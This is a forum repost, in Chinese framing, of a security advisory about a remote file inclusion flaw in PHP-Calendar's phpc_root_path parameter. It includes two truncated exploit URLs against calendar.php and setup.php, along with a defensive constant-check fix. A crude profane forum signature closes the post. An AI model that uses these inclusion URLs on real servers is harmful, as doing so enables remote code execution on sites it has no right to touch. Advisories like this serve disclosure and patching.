发新话题
打印

[转载]PHP-Calendar File Inclusion Vulnerability (phpc_root_path)

[转载]PHP-Calendar File Inclusion Vulnerability (phpc_root_path)

信息来源:安全小组(www.securiteam.com

Summary
PHP-Calendar is "a PHP based calendaring program". Due to insufficient filtering of user provided data by PHP-Calendar, a remote attacker can cause the program to include arbitrary PHP files (external to the web site) and execute the code found in them.

Credit:
The information has been provided by GulfTech Security.
The original article can be found at: http://www.gulftech.org/?node=re ... e_id=00060-12292004

Details
Exploit:
http://path/includes/calendar.ph ... r/includes/html.php
http://path/includes/setup.php?p ... r/includes/html.php

If PHP globals are set to on then it is highly probable that an attacker will be able to include arbitrary php files and thus execute system commands with the rights of the web server.

Solution:
PHP-Calendar has a defined constant to help prevent against stuff like this. It can be seen in other php-calendar files such as db.php

if ( !defined('IN_PHPC') ) {
die("Hacking attempt");
}

Adding the following to the top of the affected pages should suffice in preventing the kinds of attacks previously mentioned in this advisory.
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题